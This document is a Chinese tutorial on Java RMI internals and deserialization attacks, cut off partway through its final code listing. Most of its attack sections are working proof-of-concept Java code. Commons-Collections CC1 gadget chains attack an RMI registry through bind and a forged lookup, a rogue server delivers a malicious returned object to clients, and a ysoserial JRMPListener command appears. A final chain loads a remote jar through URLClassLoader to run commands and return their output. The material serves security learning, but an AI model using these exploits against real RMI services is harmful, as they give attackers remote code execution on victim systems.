Java代码审计基础——RMI原理和反序列化利用链

news2025/7/19 10:13:38

目录

(一)何为RMI

(二)、 RMI的模式与交互过程

0x01 设计模式

0x02 交互过程

0x03  Stub和Skeleton

(三)简单的 RMI Demo

1、Server

2、Registry

3、Client

补充——动态类加载机制

几个函数

(四)RMI通信机制

0x01、客户端与注册中心(1099端口)建立通讯

0x02、 客户端新起一个端口与服务端建立TCP通讯

0x03 客户端与注册中心(1099端口)通讯

0x04 客户端序列化传输调用函数的输入参数至服务端

(五)攻击注册中心

0x01 list

0x02 bind&rebind

0x03 unbind&lookup

(六)攻击客户端

1、注册中心攻击客户端

2、服务端攻击客户端

2.1 服务端返回Object对象

2.2 加载远程对象

(七)攻击服务端

1、服务端的远程方法存在Object参数的情况下

2、远程加载对象

(八)利用URLClassLoader实现回显攻击

参考资料:


(一)何为RMI


        RMI(Remote Method Invocation)即远程方法调用,是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如CORBA、WebService,这两种都是独立于各个编程语言的。

        而Java RMI是专为Java环境设计的远程方法调用机制,是一种用于实现远程调用(RPC,Remote Procedure Call)的Java API,能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于JVM,因此它支持从一个JVM到另一个JVM的调用。

        在Java RMI中,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法,其中对象是通过序列化方式进行编码传输的。所以平时说的反序列化漏洞的利用经常是涉及到RMI,就是这个意思。

        RMI依赖的通信协议为JRMP(Java Remote Message Protocol,Java远程消息交换协议),该协议是为Java定制的,要求服务端与客户端都必须是Java编写的。

(二)、 RMI的模式与交互过程


0x01 设计模式


RMI的设计模式中,主要包括以下三个部分的角色:

  • Registry:提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
  • Server:远程方法的提供者,并向Registry注册自身提供的服务
  • Client:远程方法的消费者,从Registry获取远程方法的相关信息并且调用

0x02 交互过程


RMI交互过程如图1-1所示:

图1-1  调用过程

在设计模式中,3个角色是的交互过程可简单概述为:

  1. 首先,启动RMI Registry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099);
  2. 其次,Server端在本地先实例化一个提供服务的实现类,然后通过RMI提供的Naming/Context/Registry等类的bindrebind方法将刚才实例化好的实现类注册到RMI Registry上并对外暴露一个名称;
  3. 最后,Client端通过本地的接口和一个已知的名称(即RMI Registry暴露出的名称),使用RMI提供的Naming/Context/Registry等类的lookup方法从RMI Service那拿到实现类。这样虽然本地没有这个类的实现类,但所有的方法都在接口里了,便可以实现远程调用对象的方法了;

        

        此外,我们可以看到,从图 1-1 逻辑上来看数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

  • 远程对象

        在RMI中的核心就是远程对象,一切都是围绕这个东西来进行的。

顾名思义,远程对象是存在于服务端以供客户端调用的对象。任何可以被远程调用的对象都必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。这个远程对象中可能有很多个函数,但是只有在远程接口中声明的函数才能被远程调用,其他的公共函数只能在本地的JVM中使用。

        使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。下图 1-2 中的ac ed就是反序列化的标志

图 1-2 RMI进行反序列化的标志

0x03  Stub和Skeleton


参考自:https://paper.seebug.org/1091/#java-rmi_1

RMI采用代理来负责客户与远程对象之间通过Socket进行通信的细节,主要是为远程对象分别生成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub即存根,位于服务端的代理类称为Skeleton即骨干网

Stub和Skeleton的具体通信过程如图 1-3 :

图 1-3 stub和skeleton进行通信流程图

        方法调用从客户端对象经存根(Stub)、远程引用层(Remote Reference Layer)和传输层(Transport Layer)向下,传递给主机,然后再次经传输层,向上穿过远程调用层和骨干网(Skeleton),最终到达服务器对象。

  • Stub存根:扮演着远程服务器对象的代理的角色,使该对象可被客户激活。
  • 远程引用层:处理语义、管理单一或多重对象的通信,决定调用是应发往一个服务器还是多个。
  • 传输层:管理实际的连接,并且追踪可以接受方法调用的远程对象。
  • Skeleton骨干网:完成对服务器对象实际的方法调用,并获取返回值。

        返回值向下经远程引用层、服务器端的传输层传递回客户端,再向上经传输层和远程调用层返回。最后,存根获得返回值。

(三)简单的 RMI Demo


1、Server

  1. 编写一个实现Remote的接口
  2. 编写一个继承于UnicastRemoteObject的接口实现类
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

完整Dem0:

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote{
        String RmiDemo() throws Exception;
    }
    public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
        public RMIInstance() throws RemoteException {
            super();
        }
        public String RmiDemo(String cmd) throws Exception{
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
}

2、Registry

RMI Registry就像一个RMI 电话簿,你可以使用Registry来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个Name 到对象的绑定关系,但是Registry⾃己是不会执行远程⽅法的,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际上在RMI Server上调用的。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。

// 创建并运行了Registry服务,且端口为1099
LocateRegistry.createRegistry(1099);
// Naming.bind 进行绑定,将rmIinterface对象绑定到Exp这个名字上, 第一个参数为一个为url,第二个参数则是我们的对象
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);

我们再将 ServerRegistry 进行组合

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class server {
    public interface RMIinterface extends Remote{
        String RmiDemo() throws Exception;
    }
    public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
        public RMIInstance() throws RemoteException {
            super();
        }
        public String RmiDemo(String cmd) throws Exception{
            Runtime.getRuntime().exec(cmd);
            return "+OK";
        }
    }
    public void start() throws Exception{
        RMIinterface rmIinterface = new RMIInstance();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
    }

    public static void main(String[] args) throws Exception {
        new server().start();
    }
}

3、Client

利用Naming.lookup找到对应的实例,然后调用方法,将 open -a Calculator 作为参数进行传入

import java.rmi.Naming;

public class client {
    public static void main(String[] args) throws Exception{
        server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
        String res = rmIinterface.RmiDemo("open -a Calculator");
        System.out.println(res);
    }
}

可以发现成功触发Server类中的方法,从而跳出计算器,如图 3-1 

图 3-1 触发calc方法

补充——动态类加载机制


       RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

在JNDI注入和反序列化漏洞的利用中,正是涉及到了动态类加载。

几个函数


这里小结下几个函数:

  • bind(String name, Object obj):注册对象,把对象和一个名字name绑定,这里的name其实就是URL格式。如果改名字已经与其他对象绑定,则抛出NameAlreadyBoundException错误;
  • rebind(String name, Object obj):注册对象,把对象和一个名字name绑定。如果改名字已经与其他对象绑定,不会抛出NameAlreadyBoundException错误,而是把当前参数obj指定的对象覆盖原先的对象;
  • lookup(String name):查找对象,返回与参数name指定的名字所绑定的对象;
  • unbind(String name):注销对象,取消对象与名字的绑定;
  • list(String name):列出目标上所有绑定的对象。

(四)RMI通信机制


下面使用wireshark抓包查看数据(由于自己抓包有混淆数据进入,不好看,总体流程引用P神java安全漫谈-RMI篇的数据流程图)

我把总体数据包,分成以下四块:

0x01、客户端与注册中心(1099端口)建立通讯


客户端查询需要调用的函数的远程引用,注册中心返回远程引用和提供该服务的服务端IP与端口。

图 4-1 抓取到的数据包(一)

图 4-1 抓取到的数据包(二)

AC ED 00 05是常见的java反序列化16进制特征
注意以上两个关键步骤都是使用序列化语句

0x02、 客户端新起一个端口与服务端建立TCP通讯


        客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用。

图 4-2  端口与服务端建立TCP通讯

同样使用序列化的传输形式,以上两个过程对应的代码是这一句

RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");

这里会返回一个PROXY类型函数

0x03 客户端与注册中心(1099端口)通讯


        通常RMI Registry的默认端口为1099,那么在我们能够访问到RMI Registry的情况下我们可以做什么?

  1. 尝试绑定恶意对象 答案是不可以,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind方法,但是我们可以使用list和lookup方法
  2. 利用RMI服务器上存在的恶意方法进行命令执行 我们可以首先通过list列出所有的对象引用,然后只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测

GitHub - NickstaDB/BaRMIe: Java RMI enumeration and attack tool.

0x04 客户端序列化传输调用函数的输入参数至服务端


服务端返回序列化的执行结果至客户端

图 4-1  将序列化的结果返回至client

图 4-2 返回是数据包

以上调用通讯过程对应的代码是这一句

String ret = hello.hello("input!gogogogo");

可以看出所有的数据流都是使用序列化传输的,那必然在客户端和服务端带都存在反序列化的语句。

(五)攻击注册中心


我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于RegistryImpl_Skel#dispatch中,如果存在对传入的对象调用readObject方法,则可以利用,dispatch里面对应关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

0x01 list

case 1:
    var2.releaseInputStream();
    String[] var97 = var6.list();
 
    try {
        ObjectOutput var98 = var2.getResultStream(true);
        var98.writeObject(var97);
        break;
    } catch (IOException var92) {
        throw new MarshalException("error marshalling return", var92);
    }


list 方法可以列出目标上所有绑定的对象:

String[] s = Naming.list("rmi://192.168.135.142:1099");

这里没有readObject,无法反序列化

0x02 bind&rebind


case 0:
    try {
        var11 = var2.getInputStream();
        var7 = (String)var11.readObject();
        var8 = (Remote)var11.readObject();
    } catch (IOException var94) {
        throw new UnmarshalException("error unmarshalling arguments", var94);
    } catch (ClassNotFoundException var95) {
        throw new UnmarshalException("error unmarshalling arguments", var95);
    } finally {
        var2.releaseInputStream();
    }
 
    var6.bind(var7, var8);
 
    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var93) {
        throw new MarshalException("error marshalling return", var93);
    }
 
//...
 
case 3:
    try {
        var11 = var2.getInputStream();
        var7 = (String)var11.readObject();
        var8 = (Remote)var11.readObject();
    } catch (IOException var85) {
        throw new UnmarshalException("error unmarshalling arguments", var85);
    } catch (ClassNotFoundException var86) {
        throw new UnmarshalException("error unmarshalling arguments", var86);
    } finally {
        var2.releaseInputStream();
    }
 
    var6.rebind(var7, var8);
 
    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var84) {
        throw new MarshalException("error marshalling return", var84);
    }
  • 当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用
  • 当调用rebind时,会用readObject读出参数名和远程对象,这里和bind是一样的,所以都可以利用。

如果服务端存在CC1相关组件漏洞,那么就可以使用反序列化攻击

POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
 
public class AttackBind {
 
    public static void main(String[] args) throws Exception {
 
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) getpayload();
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        registry.bind("test",r);
 
    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}

Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象。

图 5-1 bind方法利用的POC

0x03 unbind&lookup


case 2:
    try {
        var10 = var2.getInputStream();
        var7 = (String)var10.readObject();
    } catch (IOException var89) {
        throw new UnmarshalException("error unmarshalling arguments", var89);
    } catch (ClassNotFoundException var90) {
        throw new UnmarshalException("error unmarshalling arguments", var90);
    } finally {
        var2.releaseInputStream();
    }
 
    var8 = var6.lookup(var7);
 
    try {
        ObjectOutput var9 = var2.getResultStream(true);
        var9.writeObject(var8);
        break;
    } catch (IOException var88) {
        throw new MarshalException("error marshalling return", var88);
    }
 
//...
 
case 4:
    try {
        var10 = var2.getInputStream();
        var7 = (String)var10.readObject();
    } catch (IOException var81) {
        throw new UnmarshalException("error unmarshalling arguments", var81);
    } catch (ClassNotFoundException var82) {
        throw new UnmarshalException("error unmarshalling arguments", var82);
    } finally {
        var2.releaseInputStream();
    }
 
    var6.unbind(var7);
 
    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var80) {
        throw new MarshalException("error marshalling return", var80);
    }

这里也有readObject,但是和bind以及rebind不一样的是只能传入String类型,这里我们可以通过伪造lookup连接请求进行利用,修改lookup方法代码使其可以传入对象,原先的lookup方法:


RegistryImpl_Stub#lookup

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
 
        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }
 
        super.ref.invoke(var2);
 
        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }
 
        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}

POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
 
import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
 
public class AttackLookup {
 
    public static void main(String[] args) throws Exception {
 
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) getpayload();
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
 
        //获取operations
 
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);
 
        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
 
    }
 
    // CC1对象
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}

(六)攻击客户端


1、注册中心攻击客户端

此方法可以攻击客户端和服务端

对于注册中心来说,我们还是从这几个方法触发:

bind
unbind
rebind
list
lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,命令如下:

java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc'

然后使用客户端去访问:

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Client {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
        registry.list();
    }
}
图 6-1 注册中心攻击客户端

        这里调用其他四种方法都能够实现任意命令执行。

2、服务端攻击客户端


2.1 服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:

  • User接口,返回的是Object对象
public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
}

  • 服务端实现User接口,返回CC1的恶意Object对象
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
 
import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
 
public class LocalUser extends UnicastRemoteObject implements User  {
    public String name;
    public int age;
 
    public LocalUser(String name, int age) throws RemoteException {
        super();
        this.name = name;
        this.age = age;
    }
 
    public Object getUser() throws Exception {
 
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",
                                new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
 
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
 
 
        return (Object) handler;
    }
}

  • 服务端将恶意对象绑定到注册中心
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Server {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        User liming = new LocalUser("liming",15);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",liming);
 
        System.out.println("registry is running...");
 
        System.out.println("liming is bind in registry");
    }
}
  • 客户端获取对象并调用getUser方法,将反序列化服务端传来的恶意远程对象

import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User)registry.lookup("user");
        user.getUser();
    }
}

此时将触发RCE

图 6-2 服务端攻击客户端返回Object对象

2.2 加载远程对象


当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使http://ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

总的来说利用条件十分苛刻,可用性不强。

参考:https://paper.seebug.org/1091/#serverrmi

(七)攻击服务端


1、服务端的远程方法存在Object参数的情况下

上面说了利用注册中心攻击客户端,同样的方法也可以攻击服务端,这里说一下客户端攻击服务端的方式

RMI服务端(受害者),开启一个RMI服务:

package Server;
 
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
 
public class RMIServer {
 
 
    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
        }
 
        public String hello() throws RemoteException {
            System.out.println("调用了hello方法");
            return "Hello world";
        }
 
        public void evil(Object obj) throws RemoteException {
            System.out.println("调用了evil方法,传递对象为:"+obj);
        }
    }
    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
 
    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

同时服务端具有以下特点:

  • jdk版本1.7
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)

客户端(攻击者):

import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
 
public class RMIClient {
    public static void main(String[] args) throws Exception {
        IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        r.evil(getpayload());
    }
 
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}

2、远程加载对象

和上边Server打Client一样利用条件非常苛刻。

参考:https://paper.seebug.org/1091/#serverrmi

(八)利用URLClassLoader实现回显攻击


攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程demo:

import java.io.BufferedReader;
import java.io.InputStreamReader;
 
public class ErrorBaseExec {
 
    public static void do_exec(String args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e=new Exception(result);
        throw e;
    }
}

通过如下命令制作成jar包:

javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
 
import java.net.URLClassLoader;
 
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
import java.util.HashMap;
import java.util.Map;
 
 
public class Client {
    public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
 
        return ctor;
    }
 
    public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1"; //注册中心ip
        int port = 1099; //注册中心端口
        String remotejar = 远程jar;
        String command = "whoami";
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
 
        try {
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[] { Class[].class },
                            new Object[] { new Class[] { java.net.URL[].class } }),
                    new InvokerTransformer("newInstance",
                            new Class[] { Object[].class },
                            new Object[] {
                                    new Object[] {
                                            new java.net.URL[] { new java.net.URL(remotejar) }
                                    }
                            }),
                    new InvokerTransformer("loadClass",
                            new Class[] { String.class },
                            new Object[] { "ErrorBaseExec" }),
                    new InvokerTransformer("getMethod",
                            new Class[] { String.class, Class[].class },
                            new Object[] { "do_exec", new Class[] { String.class } }),
                    new InvokerTransformer("invoke",
                            new Class[] { Object.class, Object[].class },
                            new Object[] { null, new String[] { command } })
            };
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
 
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformedChain);
            Class cl = Class.forName(
                    "sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
 
            Object instance = ctor.newInstance(Target.class, outerMap);
            Registry registry = LocateRegistry.getRegistry(ip, port);
